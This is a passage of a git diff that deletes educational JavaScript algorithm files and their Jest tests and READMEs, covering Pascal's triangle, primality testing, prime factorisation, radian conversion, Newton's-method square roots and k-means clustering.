-    return currentLine;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/pascal-triangle/test/pascalTriangle.test.js b/docs/content/DS_ALGO/algorithms/math/pascal-triangle/test/pascalTriangle.test.js
deleted file mode 100644
index 5ba42a0767..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/pascal-triangle/test/pascalTriangle.test.js
+++ /dev/null
@@ -1,13 +0,0 @@
-import pascalTriangle from '../pascalTriangle';
-describe('pascalTriangle', () => {
-    it('should calculate Pascal Triangle coefficients for specific line number', () => {
-        expect(pascalTriangle(0)).toEqual([1]);
-        expect(pascalTriangle(1)).toEqual([1, 1]);
-        expect(pascalTriangle(2)).toEqual([1, 2, 1]);
-        expect(pascalTriangle(3)).toEqual([1, 3, 3, 1]);
-        expect(pascalTriangle(4)).toEqual([1, 4, 6, 4, 1]);
-        expect(pascalTriangle(5)).toEqual([1, 5, 10, 10, 5, 1]);
-        expect(pascalTriangle(6)).toEqual([1, 6, 15, 20, 15, 6, 1]);
-        expect(pascalTriangle(7)).toEqual([1, 7, 21, 35, 35, 21, 7, 1]);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/pascal-triangle/test/pascalTriangleRecursive.test.js b/docs/content/DS_ALGO/algorithms/math/pascal-triangle/test/pascalTriangleRecursive.test.js
deleted file mode 100644
index a506bed5f2..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/pascal-triangle/test/pascalTriangleRecursive.test.js
+++ /dev/null
@@ -1,13 +0,0 @@
-import pascalTriangleRecursive from '../pascalTriangleRecursive';
-describe('pascalTriangleRecursive', () => {
-    it('should calculate Pascal Triangle coefficients for specific line number', () => {
-        expect(pascalTriangleRecursive(0)).toEqual([1]);
-        expect(pascalTriangleRecursive(1)).toEqual([1, 1]);
-        expect(pascalTriangleRecursive(2)).toEqual([1, 2, 1]);
-        expect(pascalTriangleRecursive(3)).toEqual([1, 3, 3, 1]);
-        expect(pascalTriangleRecursive(4)).toEqual([1, 4, 6, 4, 1]);
-        expect(pascalTriangleRecursive(5)).toEqual([1, 5, 10, 10, 5, 1]);
-        expect(pascalTriangleRecursive(6)).toEqual([1, 6, 15, 20, 15, 6, 1]);
-        expect(pascalTriangleRecursive(7)).toEqual([1, 7, 21, 35, 35, 21, 7, 1]);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/primality-test/README.md b/docs/content/DS_ALGO/algorithms/math/primality-test/README.md
deleted file mode 100644
index d63de51377..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/primality-test/README.md
+++ /dev/null
@@ -1,25 +0,0 @@
-# Primality Test
-
-A **prime number** (or a **prime**) is a natural number greater than `1` that
-cannot be formed by multiplying two smaller natural numbers. A natural number
-greater than `1` that is not prime is called a composite number. For
-example, `5` is prime because the only ways of writing it as a
-product, `1 × 5` or `5 × 1`, involve `5` itself. However, `6` is
-composite because it is the product of two numbers `(2 × 3)` that are
-both smaller than `6`.
-
-![Prime Numbers](https://upload.wikimedia.org/wikipedia/commons/f/f0/Primes-vs-composites.svg)
-
-A **primality test** is an algorithm for determining whether an input
-number is prime. Among other fields of mathematics, it is used
-for cryptography. Unlike integer factorization, primality tests
-do not generally give prime factors, only stating whether the
-input number is prime or not. Factorization is thought to be
-a computationally difficult problem, whereas primality testing
-is comparatively easy (its running time is polynomial in the
-size of the input).
-
-## References
-
--   [Prime Numbers on Wikipedia](https://en.wikipedia.org/wiki/Prime_number)
--   [Primality Test on Wikipedia](https://en.wikipedia.org/wiki/Primality_test)
diff --git a/docs/content/DS_ALGO/algorithms/math/primality-test/test/trialDivision.test.js b/docs/content/DS_ALGO/algorithms/math/primality-test/test/trialDivision.test.js
deleted file mode 100644
index 9676b10bf1..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/primality-test/test/trialDivision.test.js
+++ /dev/null
@@ -1,33 +0,0 @@
-import trialDivision from '../trialDivision';
-/**
- * @param {function(n: number)} testFunction
- */
-function primalityTest(testFunction) {
-    expect(testFunction(1)).toBe(false);
-    expect(testFunction(2)).toBe(true);
-    expect(testFunction(3)).toBe(true);
-    expect(testFunction(5)).toBe(true);
-    expect(testFunction(11)).toBe(true);
-    expect(testFunction(191)).toBe(true);
-    expect(testFunction(191)).toBe(true);
-    expect(testFunction(199)).toBe(true);
-    expect(testFunction(-1)).toBe(false);
-    expect(testFunction(0)).toBe(false);
-    expect(testFunction(4)).toBe(false);
-    expect(testFunction(6)).toBe(false);
-    expect(testFunction(12)).toBe(false);
-    expect(testFunction(14)).toBe(false);
-    expect(testFunction(25)).toBe(false);
-    expect(testFunction(192)).toBe(false);
-    expect(testFunction(200)).toBe(false);
-    expect(testFunction(400)).toBe(false);
-    // It should also deal with floats.
-    expect(testFunction(0.5)).toBe(false);
-    expect(testFunction(1.3)).toBe(false);
-    expect(testFunction(10.5)).toBe(false);
-}
-describe('trialDivision', () => {
-    it('should detect prime numbers', () => {
-        primalityTest(trialDivision);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/primality-test/trialDivision.js b/docs/content/DS_ALGO/algorithms/math/primality-test/trialDivision.js
deleted file mode 100644
index 92fbfabcdd..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/primality-test/trialDivision.js
+++ /dev/null
@@ -1,30 +0,0 @@
-/**
- * @param {number} number
- * @return {boolean}
- */
-export default function trialDivision(number) {
-    // Check if number is integer.
-    if (number % 1 !== 0) {
-        return false;
-    }
-    if (number <= 1) {
-        // If number is less than one then it isn't prime by definition.
-        return false;
-    }
-    if (number <= 3) {
-        // All numbers from 2 to 3 are prime.
-        return true;
-    }
-    // If the number is not divided by 2 then we may eliminate all further even dividers.
-    if (number % 2 === 0) {
-        return false;
-    }
-    // If there is no dividers up to square root of n then there is no higher dividers as well.
-    const dividerLimit = Math.sqrt(number);
-    for (let divider = 3; divider <= dividerLimit; divider += 2) {
-        if (number % divider === 0) {
-            return false;
-        }
-    }
-    return true;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/prime-factors/README.md b/docs/content/DS_ALGO/algorithms/math/prime-factors/README.md
deleted file mode 100644
index 4efddcdbcb..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/prime-factors/README.md
+++ /dev/null
@@ -1,34 +0,0 @@
-# Prime Factors
-
-**Prime number** is a whole number greater than `1` that **cannot** be made by multiplying other whole numbers. The first few prime numbers are: `2`, `3`, `5`, `7`, `11`, `13`, `17`, `19` and so on.
-
-If we **can** make it by multiplying other whole numbers it is a **Composite Number**.
-
-![Composite numbers](https://www.mathsisfun.com/numbers/images/prime-composite.svg)
-
-_Image source: [Math is Fun](https://www.mathsisfun.com/prime-factorization.html)_
-
-**Prime factors** are those [prime numbers](https://en.wikipedia.org/wiki/Prime_number) which multiply together to give the original number. For example `39` will have prime factors of `3` and `13` which are also prime numbers. Another example is `15` whose prime factors are `3` and `5`.
-
-![Factors](https://www.mathsisfun.com/numbers/images/factor-2x3.svg)
-
-_Image source: [Math is Fun](https://www.mathsisfun.com/prime-factorization.html)_
-
-## Finding the prime factors and their count accurately
-
-The approach is to keep on dividing the natural number `n` by indexes from `i = 2` to `i = n` (by prime indexes only). The value of `n` is being overridden by `(n / i)` on each iteration.
-
-The time complexity till now is `O(n)` in the worst case scenario since the loop runs from index `i = 2` to `i = n`. This time complexity can be reduced from `O(n)` to `O(sqrt(n))`. The optimisation is achievable when loop runs from `i = 2` to `i = sqrt(n)`. Now, we go only till `O(sqrt(n))` because when `i` becomes greater than `sqrt(n)`, we have the confirmation that there is no index `i` left which can divide `n` completely other than `n` itself.
-
-## Hardy-Ramanujan formula for approximate calculation of prime-factor count
-
-In 1917, a theorem was formulated by G.H Hardy and Srinivasa Ramanujan which states that the normal order of the number `ω(n)` of distinct prime factors of a number `n` is `log(log(n))`.
-
-Roughly speaking, this means that most numbers have about this number of distinct prime factors.
-
-## References
-
--   [Prime numbers on Math is Fun](https://www.mathsisfun.com/prime-factorization.html)
--   [Prime numbers on Wikipedia](https://en.wikipedia.org/wiki/Prime_number)
--   [Hardy-Ramanujan theorem on Wikipedia](https://en.wikipedia.org/wiki/Hardy%E2%80%93Ramanujan_theorem)
--   [Prime factorization of a number on Youtube](https://www.youtube.com/watch?v=6PDtgHhpCHo&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8&index=82)
diff --git a/docs/content/DS_ALGO/algorithms/math/prime-factors/primeFactors.js b/docs/content/DS_ALGO/algorithms/math/prime-factors/primeFactors.js
deleted file mode 100644
index b856e3e0ac..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/prime-factors/primeFactors.js
+++ /dev/null
@@ -1,37 +0,0 @@
-/**
- * Finds prime factors of a number.
- *
- * @param {number} n - the number that is going to be split into prime factors.
- * @returns {number[]} - array of prime factors.
- */
-export function primeFactors(n) {
-    // Clone n to avoid function arguments override.
-    let nn = n;
-    // Array that stores the all the prime factors.
-    const factors = [];
-    // Running the loop till sqrt(n) instead of n to optimise time complexity from O(n) to O(sqrt(n)).
-    for (let factor = 2; factor <= Math.sqrt(nn); factor += 1) {
-        // Check that factor divides n without a reminder.
-        while (nn % factor === 0) {
-            // Overriding the value of n.
-            nn /= factor;
-            // Saving the factor.
-            factors.push(factor);
-        }
-    }
-    // The ultimate reminder should be a last prime factor,
-    // unless it is not 1 (since 1 is not a prime number).
-    if (nn !== 1) {
-        factors.push(nn);
-    }
-    return factors;
-}
-/**
- * Hardy-Ramanujan approximation of prime factors count.
- *
- * @param {number} n
- * @returns {number} - approximate number of prime factors.
- */
-export function hardyRamanujan(n) {
-    return Math.log(Math.log(n));
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/prime-factors/test/primeFactors.test.js b/docs/content/DS_ALGO/algorithms/math/prime-factors/test/primeFactors.test.js
deleted file mode 100644
index 90bf5bbdce..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/prime-factors/test/primeFactors.test.js
+++ /dev/null
@@ -1,59 +0,0 @@
-import { primeFactors, hardyRamanujan } from '../primeFactors';
-/**
- * Calculates the error between exact and approximate prime factor counts.
- * @param {number} exactCount
- * @param {number} approximateCount
- * @returns {number} - approximation error (percentage).
- */
-function approximationError(exactCount, approximateCount) {
-    return Math.abs((exactCount - approximateCount) / exactCount) * 100;
-}
-describe('primeFactors', () => {
-    it('should find prime factors', () => {
-        expect(primeFactors(1)).toEqual([]);
-        expect(primeFactors(2)).toEqual([2]);
-        expect(primeFactors(3)).toEqual([3]);
-        expect(primeFactors(4)).toEqual([2, 2]);
-        expect(primeFactors(14)).toEqual([2, 7]);
-        expect(primeFactors(40)).toEqual([2, 2, 2, 5]);
-        expect(primeFactors(54)).toEqual([2, 3, 3, 3]);
-        expect(primeFactors(100)).toEqual([2, 2, 5, 5]);
-        expect(primeFactors(156)).toEqual([2, 2, 3, 13]);
-        expect(primeFactors(273)).toEqual([3, 7, 13]);
-        expect(primeFactors(300)).toEqual([2, 2, 3, 5, 5]);
-        expect(primeFactors(980)).toEqual([2, 2, 5, 7, 7]);
-        expect(primeFactors(1000)).toEqual([2, 2, 2, 5, 5, 5]);
-        expect(primeFactors(52734)).toEqual([2, 3, 11, 17, 47]);
-        expect(primeFactors(343434)).toEqual([2, 3, 7, 13, 17, 37]);
-        expect(primeFactors(456745)).toEqual([5, 167, 547]);
-        expect(primeFactors(510510)).toEqual([2, 3, 5, 7, 11, 13, 17]);
-        expect(primeFactors(8735463)).toEqual([3, 3, 11, 88237]);
-        expect(primeFactors(873452453)).toEqual([149, 1637, 3581]);
-    });
-    it('should give approximate prime factors count using Hardy-Ramanujan theorem', () => {
-        expect(hardyRamanujan(2)).toBeCloseTo(-0.366, 2);
-        expect(hardyRamanujan(4)).toBeCloseTo(0.326, 2);
-        expect(hardyRamanujan(40)).toBeCloseTo(1.305, 2);
-        expect(hardyRamanujan(156)).toBeCloseTo(1.6193, 2);
-        expect(hardyRamanujan(980)).toBeCloseTo(1.929, 2);
-        expect(hardyRamanujan(52734)).toBeCloseTo(2.386, 2);
-        expect(hardyRamanujan(343434)).toBeCloseTo(2.545, 2);
-        expect(hardyRamanujan(456745)).toBeCloseTo(2.567, 2);
-        expect(hardyRamanujan(510510)).toBeCloseTo(2.575, 2);
-        expect(hardyRamanujan(8735463)).toBeCloseTo(2.771, 2);
-        expect(hardyRamanujan(873452453)).toBeCloseTo(3.024, 2);
-    });
-    it('should give correct deviation between exact and approx counts', () => {
-        expect(approximationError(primeFactors(2).length, hardyRamanujan(2))).toBeCloseTo(136.651, 2);
-        expect(approximationError(primeFactors(4).length, hardyRamanujan(2))).toBeCloseTo(118.325, 2);
-        expect(approximationError(primeFactors(40).length, hardyRamanujan(2))).toBeCloseTo(109.162, 2);
-        expect(approximationError(primeFactors(156).length, hardyRamanujan(2))).toBeCloseTo(109.162, 2);
-        expect(approximationError(primeFactors(980).length, hardyRamanujan(2))).toBeCloseTo(107.33, 2);
-        expect(approximationError(primeFactors(52734).length, hardyRamanujan(52734))).toBeCloseTo(52.274, 2);
-        expect(approximationError(primeFactors(343434).length, hardyRamanujan(343434))).toBeCloseTo(57.578, 2);
-        expect(approximationError(primeFactors(456745).length, hardyRamanujan(456745))).toBeCloseTo(14.42, 2);
-        expect(approximationError(primeFactors(510510).length, hardyRamanujan(510510))).toBeCloseTo(63.201, 2);
-        expect(approximationError(primeFactors(8735463).length, hardyRamanujan(8735463))).toBeCloseTo(30.712, 2);
-        expect(approximationError(primeFactors(873452453).length, hardyRamanujan(873452453))).toBeCloseTo(0.823, 2);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/radian/README.md b/docs/content/DS_ALGO/algorithms/math/radian/README.md
deleted file mode 100644
index 9abaad8784..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/radian/README.md
+++ /dev/null
@@ -1,35 +0,0 @@
-# Radian
-
-The **radian** (symbol **rad**) is the unit for measuring angles, and is the
-standard unit of angular measure used in many areas of mathematics.
-
-The length of an arc of a unit circle is numerically equal to the measurement
-in radians of the angle that it subtends; one radian is just under `57.3` degrees.
-
-An arc of a circle with the same length as the radius of that circle subtends an
-angle of `1 radian`. The circumference subtends an angle of `2π radians`.
-
-![Radian](https://upload.wikimedia.org/wikipedia/commons/4/4e/Circle_radians.gif)
-
-A complete revolution is 2π radians (shown here with a circle of radius one and
-thus circumference `2π`).
-
-![2 pi Radian](https://upload.wikimedia.org/wikipedia/commons/6/67/2pi-unrolled.gif)
-
-**Conversions**
-
-| Radians | Degrees |
-| :-----: | :-----: |
-|    0    |   0°    |
-|  π/12   |   15°   |
-|   π/6   |   30°   |
-|   π/4   |   45°   |
-|    1    |  57.3°  |
-|   π/3   |   60°   |
-|   π/2   |   90°   |
-|    π    |  180°   |
-|   2π    |  360°   |
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Radian)
diff --git a/docs/content/DS_ALGO/algorithms/math/radian/degreeToRadian.js b/docs/content/DS_ALGO/algorithms/math/radian/degreeToRadian.js
deleted file mode 100644
index ca02c09f29..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/radian/degreeToRadian.js
+++ /dev/null
@@ -1,7 +0,0 @@
-/**
- * @param {number} degree
- * @return {number}
- */
-export default function degreeToRadian(degree) {
-    return degree * (Math.PI / 180);
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/radian/radianToDegree.js b/docs/content/DS_ALGO/algorithms/math/radian/radianToDegree.js
deleted file mode 100644
index 5df1a8e643..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/radian/radianToDegree.js
+++ /dev/null
@@ -1,7 +0,0 @@
-/**
- * @param {number} radian
- * @return {number}
- */
-export default function radianToDegree(radian) {
-    return radian * (180 / Math.PI);
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/radian/test/degreeToRadian.test.js b/docs/content/DS_ALGO/algorithms/math/radian/test/degreeToRadian.test.js
deleted file mode 100644
index 9e109ea2d2..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/radian/test/degreeToRadian.test.js
+++ /dev/null
@@ -1,11 +0,0 @@
-import degreeToRadian from '../degreeToRadian';
-describe('degreeToRadian', () => {
-    it('should convert degree to radian', () => {
-        expect(degreeToRadian(0)).toBe(0);
-        expect(degreeToRadian(45)).toBe(Math.PI / 4);
-        expect(degreeToRadian(90)).toBe(Math.PI / 2);
-        expect(degreeToRadian(180)).toBe(Math.PI);
-        expect(degreeToRadian(270)).toBe((3 * Math.PI) / 2);
-        expect(degreeToRadian(360)).toBe(2 * Math.PI);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/radian/test/radianToDegree.test.js b/docs/content/DS_ALGO/algorithms/math/radian/test/radianToDegree.test.js
deleted file mode 100644
index 91037cb9d4..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/radian/test/radianToDegree.test.js
+++ /dev/null
@@ -1,11 +0,0 @@
-import radianToDegree from '../radianToDegree';
-describe('radianToDegree', () => {
-    it('should convert radian to degree', () => {
-        expect(radianToDegree(0)).toBe(0);
-        expect(radianToDegree(Math.PI / 4)).toBe(45);
-        expect(radianToDegree(Math.PI / 2)).toBe(90);
-        expect(radianToDegree(Math.PI)).toBe(180);
-        expect(radianToDegree((3 * Math.PI) / 2)).toBe(270);
-        expect(radianToDegree(2 * Math.PI)).toBe(360);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/square-root/README.md b/docs/content/DS_ALGO/algorithms/math/square-root/README.md
deleted file mode 100644
index 6ab10f6377..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/square-root/README.md
+++ /dev/null
@@ -1,62 +0,0 @@
-# Square Root (Newton's Method)
-
-In numerical analysis, a branch of mathematics, there are several square root
-algorithms or methods of computing the principal square root of a non-negative real
-number. As, generally, the roots of a function cannot be computed exactly.
-The root-finding algorithms provide approximations to roots expressed as floating
-point numbers.
-
-Finding ![](https://wikimedia.org/api/rest_v1/media/math/render/svg/bff86975b0e7944720b3e635c53c22c032a7a6f1) is
-the same as solving the equation ![](https://wikimedia.org/api/rest_v1/media/math/render/svg/6cf57722151ef19ba1ca918d702b95c335e21cad) for a
-positive `x`. Therefore, any general numerical root-finding algorithm can be used.
-
-**Newton's method** (also known as the Newton-Raphson method), named after
-_Isaac Newton_ and _Joseph Raphson_, is one example of a root-finding algorithm. It is a
-method for finding successively better approximations to the roots of a real-valued function.
-
-Let's start by explaining the general idea of Newton's method and then apply it to our particular
-case with finding a square root of the number.
-
-## Newton's Method General Idea
-
-The Newton-Raphson method in one variable is implemented as follows:
-
-The method starts with a function `f` defined over the real numbers `x`, the function's derivative `f'`, and an
-initial guess `x0` for a root of the function `f`. If the function satisfies the assumptions made in the derivation
-of the formula and the initial guess is close, then a better approximation `x1` is:
-
-![](https://wikimedia.org/api/rest_v1/media/math/render/svg/52c50eca0b7c4d64ef2fdca678665b73e944cb84)
-
-Geometrically, `(x1, 0)` is the intersection of the `x`-axis and the tangent of
-the graph of `f` at `(x0, f (x0))`.
-
-The process is repeated as:
-
-![](https://wikimedia.org/api/rest_v1/media/math/render/svg/710c11b9ec4568d1cfff49b7c7d41e0a7829a736)
-
-until a sufficiently accurate value is reached.
-
-![](https://upload.wikimedia.org/wikipedia/commons/e/e0/NewtonIteration_Ani.gif)
-
-## Newton's Method of Finding a Square Root
-
-As it was mentioned above, finding ![](https://wikimedia.org/api/rest_v1/media/math/render/svg/bff86975b0e7944720b3e635c53c22c032a7a6f1) is
-the same as solving the equation ![](https://wikimedia.org/api/rest_v1/media/math/render/svg/6cf57722151ef19ba1ca918d702b95c335e21cad) for a
-positive `x`.
-
-The derivative of the function `f(x)` in case of square root problem is `2x`.
-
-After applying the Newton's formula (see above) we get the following equation for our algorithm iterations:
-
-```text
-x := x - (x² - S) / (2x)
-```
-
-The `x² − S` above is how far away `x²` is from where it needs to be, and the
-division by `2x` is the derivative of `x²`, to scale how much we adjust `x` by how
-quickly `x²` is changing.
-
-## References
-
--   [Methods of computing square roots on Wikipedia](https://en.wikipedia.org/wiki/Methods_of_computing_square_roots)
--   [Newton's method on Wikipedia](https://en.wikipedia.org/wiki/Newton%27s_method)
diff --git a/docs/content/DS_ALGO/algorithms/math/square-root/squareRoot.js b/docs/content/DS_ALGO/algorithms/math/square-root/squareRoot.js
deleted file mode 100644
index c8386bed9c..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/square-root/squareRoot.js
+++ /dev/null
@@ -1,35 +0,0 @@
-/**
- * Calculates the square root of the number with given tolerance (precision)
- * by using Newton's method.
- *
- * @param number - the number we want to find a square root for.
- * @param [tolerance] - how many precise numbers after the floating point we want to get.
- * @return {number}
- */
-export default function squareRoot(number, tolerance = 0) {
-    // For now we won't support operations that involves manipulation with complex numbers.
-    if (number < 0) {
-        throw new Error('The method supports only positive integers');
-    }
-    // Handle edge case with finding the square root of zero.
-    if (number === 0) {
-        return 0;
-    }
-    // We will start approximation from value 1.
-    let root = 1;
-    // Delta is a desired distance between the number and the square of the root.
-    // - if tolerance=0 then delta=1
-    // - if tolerance=1 then delta=0.1
-    // - if tolerance=2 then delta=0.01
-    // - and so on...
-    const requiredDelta = 1 / 10 ** tolerance;
-    // Approximating the root value to the point when we get a desired precision.
-    while (Math.abs(number - root ** 2) > requiredDelta) {
-        // Newton's method reduces in this case to the so-called Babylonian method.
-        // These methods generally yield approximate results, but can be made arbitrarily
-        // precise by increasing the number of calculation steps.
-        root -= (root ** 2 - number) / (2 * root);
-    }
-    // Cut off undesired floating digits and return the root value.
-    return Math.round(root * 10 ** tolerance) / 10 ** tolerance;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/square-root/test/squareRoot.test.js b/docs/content/DS_ALGO/algorithms/math/square-root/test/squareRoot.test.js
deleted file mode 100644
index cd2643a639..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/square-root/test/squareRoot.test.js
+++ /dev/null
@@ -1,60 +0,0 @@
-import squareRoot from '../squareRoot';
-describe('squareRoot', () => {
-    it('should throw for negative numbers', () => {
-        function failingSquareRoot() {
-            squareRoot(-5);
-        }
-        expect(failingSquareRoot).toThrow();
-    });
-    it('should correctly calculate square root with default tolerance', () => {
-        expect(squareRoot(0)).toBe(0);
-        expect(squareRoot(1)).toBe(1);
-        expect(squareRoot(2)).toBe(1);
-        expect(squareRoot(3)).toBe(2);
-        expect(squareRoot(4)).toBe(2);
-        expect(squareRoot(15)).toBe(4);
-        expect(squareRoot(16)).toBe(4);
-        expect(squareRoot(256)).toBe(16);
-        expect(squareRoot(473)).toBe(22);
-        expect(squareRoot(14723)).toBe(121);
-    });
-    it('should correctly calculate square root for integers with custom tolerance', () => {
-        let tolerance = 1;
-        expect(squareRoot(0, tolerance)).toBe(0);
-        expect(squareRoot(1, tolerance)).toBe(1);
-        expect(squareRoot(2, tolerance)).toBe(1.4);
-        expect(squareRoot(3, tolerance)).toBe(1.8);
-        expect(squareRoot(4, tolerance)).toBe(2);
-        expect(squareRoot(15, tolerance)).toBe(3.9);
-        expect(squareRoot(16, tolerance)).toBe(4);
-        expect(squareRoot(256, tolerance)).toBe(16);
-        expect(squareRoot(473, tolerance)).toBe(21.7);
-        expect(squareRoot(14723, tolerance)).toBe(121.3);
-        tolerance = 3;
-        expect(squareRoot(0, tolerance)).toBe(0);
-        expect(squareRoot(1, tolerance)).toBe(1);
-        expect(squareRoot(2, tolerance)).toBe(1.414);
-        expect(squareRoot(3, tolerance)).toBe(1.732);
-        expect(squareRoot(4, tolerance)).toBe(2);
-        expect(squareRoot(15, tolerance)).toBe(3.873);
-        expect(squareRoot(16, tolerance)).toBe(4);
-        expect(squareRoot(256, tolerance)).toBe(16);
-        expect(squareRoot(473, tolerance)).toBe(21.749);
-        expect(squareRoot(14723, tolerance)).toBe(121.338);
-        tolerance = 10;
-        expect(squareRoot(0, tolerance)).toBe(0);
-        expect(squareRoot(1, tolerance)).toBe(1);
-        expect(squareRoot(2, tolerance)).toBe(1.4142135624);
-        expect(squareRoot(3, tolerance)).toBe(1.7320508076);
-        expect(squareRoot(4, tolerance)).toBe(2);
-        expect(squareRoot(15, tolerance)).toBe(3.8729833462);
-        expect(squareRoot(16, tolerance)).toBe(4);
-        expect(squareRoot(256, tolerance)).toBe(16);
-        expect(squareRoot(473, tolerance)).toBe(21.7485631709);
-        expect(squareRoot(14723, tolerance)).toBe(121.3383698588);
-    });
-    it('should correctly calculate square root for integers with custom tolerance', () => {
-        expect(squareRoot(4.5, 10)).toBe(2.1213203436);
-        expect(squareRoot(217.534, 10)).toBe(14.7490338667);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/ml/k-means/README.md b/docs/content/DS_ALGO/algorithms/ml/k-means/README.md
deleted file mode 100644
index 922218b04f..0000000000
--- a/docs/content/DS_ALGO/algorithms/ml/k-means/README.md
+++ /dev/null
@@ -1,32 +0,0 @@
-# k-Means Algorithm
-
-The **k-Means algorithm** is an unsupervised Machine Learning algorithm. It's a clustering algorithm, which groups the sample data on the basis of similarity between dimensions of vectors.
-
-In k-Means classification, the output is a set of classes assigned to each vector. Each cluster location is continuously optimized in order to get the accurate locations of each cluster such that they represent each group clearly.
-
-The idea is to calculate the similarity between cluster location and data vectors, and reassign clusters based on it. [Euclidean distance](https://github.com/trekhleb/javascript-algorithms/tree/master/src/algorithms/math/euclidean-distance) is used mostly for this task.
-
-![Euclidean distance between two points](https://upload.wikimedia.org/wikipedia/commons/5/55/Euclidean_distance_2d.svg)
-
-_Image source: [Wikipedia](https://en.wikipedia.org/wiki/Euclidean_distance)_
-
-The algorithm is as follows:
-
-1. Check for errors like invalid/inconsistent data
-2. Initialize the `k` cluster locations with initial/random `k` points
-3. Calculate the distance of each data point from each cluster
-4. Assign the cluster label of each data point equal to that of the cluster at its minimum distance
-5. Calculate the centroid of each cluster based on the data points it contains
-6. Repeat each of the above steps until the centroid locations are varying
-
-Here is a visualization of k-Means clustering for better understanding:
-
-![KNN Visualization 1](https://upload.wikimedia.org/wikipedia/commons/e/ea/K-means_convergence.gif)
-
-_Image source: [Wikipedia](https://en.wikipedia.org/wiki/K-means_clustering)_
-
-The centroids are moving continuously in order to create better distinction between the different set of data points. As we can see, after a few iterations, the difference in centroids is quite low between iterations. For example between iterations `13` and `14` the difference is quite small because there the optimizer is tuning boundary cases.
-
-## References
-
--   [k-Means neighbors algorithm on Wikipedia](https://en.wikipedia.org/wiki/K-means_clustering)
diff --git a/docs/content/DS_ALGO/algorithms/ml/k-means/kMeans.js b/docs/content/DS_ALGO/algorithms/ml/k-means/kMeans.js
deleted file mode 100644
index 24770a5d3f..0000000000
--- a/docs/content/DS_ALGO/algorithms/ml/k-means/kMeans.js
+++ /dev/null
@@ -1,64 +0,0 @@
-import * as mtrx from '../../math/matrix/Matrix';
-import euclideanDistance from '../../math/euclidean-distance/euclideanDistance';
-/**
- * Classifies the point in space based on k-Means algorithm.
- *
- * @param {number[][]} data - array of dataSet points, i.e. [[0, 1], [3, 4], [5, 7]]
- * @param {number} k - number of clusters
- * @return {number[]} - the class of the point
- */
-export default function KMeans(data, k = 1) {
-    if (!data) {
-        throw new Error('The data is empty');
-    }
-    // Assign k clusters locations equal to the location of initial k points.
-    const dataDim = data[0].length;
-    const clusterCenters = data.slice(0, k);
-    // Continue optimization till convergence.
-    // Centroids should not be moving once optimized.
-    // Calculate distance of each candidate vector from each cluster center.
-    // Assign cluster number to each data vector according to minimum distance.
-    // Matrix of distance from each data point to each cluster centroid.
-    const distances = mtrx.zeros([data.length, k]);
-    // Vector data points' classes. The value of -1 means that no class has bee assigned yet.
-    const classes = Array(data.length).fill(-1);
-    let iterate = true;
-    while (iterate) {
-        iterate = false;
-        // Calculate and store the distance of each data point from each cluster.
-        for (let dataIndex = 0; dataIndex < data.length; dataIndex += 1) {
-            for (let clusterIndex = 0; clusterIndex < k; clusterIndex += 1) {
-                distances[dataIndex][clusterIndex] = euclideanDistance([clusterCenters[clusterIndex]], [data[dataIndex]]);
-            }
-            // Assign the closest cluster number to each dataSet point.
-            const closestClusterIdx = distances[dataIndex].indexOf(Math.min(...distances[dataIndex]));
-            // Check if data point class has been changed and we still need to re-iterate.
-            if (classes[dataIndex] !== closestClusterIdx) {
-                iterate = true;
-            }
-            classes[dataIndex] = closestClusterIdx;
-        }
-        // Recalculate cluster centroid values via all dimensions of the points under it.
-        for (let clusterIndex = 0; clusterIndex < k; clusterIndex += 1) {
-            // Reset cluster center coordinates since we need to recalculate them.
-            clusterCenters[clusterIndex] = Array(dataDim).fill(0);
-            let clusterSize = 0;
-            for (let dataIndex = 0; dataIndex < data.length; dataIndex += 1) {
-                if (classes[dataIndex] === clusterIndex) {
-                    // Register one more data point of current cluster.
-                    clusterSize += 1;
-                    for (let dimensionIndex = 0; dimensionIndex < dataDim; dimensionIndex += 1) {
-                        // Add data point coordinates to the cluster center coordinates.
-                        clusterCenters[clusterIndex][dimensionIndex] += data[dataIndex][dimensionIndex];
-                    }
-                }
-            }
-            // Calculate the average for each cluster center coordinate.
-            for (let dimensionIndex = 0; dimensionIndex < dataDim; dimensionIndex += 1) {
-                clusterCenters[clusterIndex][dimensionIndex] = parseFloat(Number(clusterCenters[clusterIndex][dimensionIndex] / clusterSize).toFixed(2));
-            }
-        }
-    }
-    // Return the clusters assigned.
-    return classes;
-}
diff --git a/docs/content/DS_ALGO/algorithms/ml/k-means/test/kMeans.test.js b/docs/content/DS_ALGO/algorithms/ml/k-means/test/kMeans.test.js
deleted file mode 100644
index 8f7f7d1461..0000000000
--- a/docs/content/DS_ALGO/algorithms/ml/k-means/test/kMeans.test.js
+++ /dev/null
@@ -1,57 +0,0 @@
-import KMeans from '../kMeans';
-describe('kMeans', () => {
-    it('should throw an error on invalid data', () => {
-        expect(() => {
-            KMeans();
-        }).toThrowError('The data is empty');
-    });
-    it('should throw an error on inconsistent data', () => {
-        expect(() => {
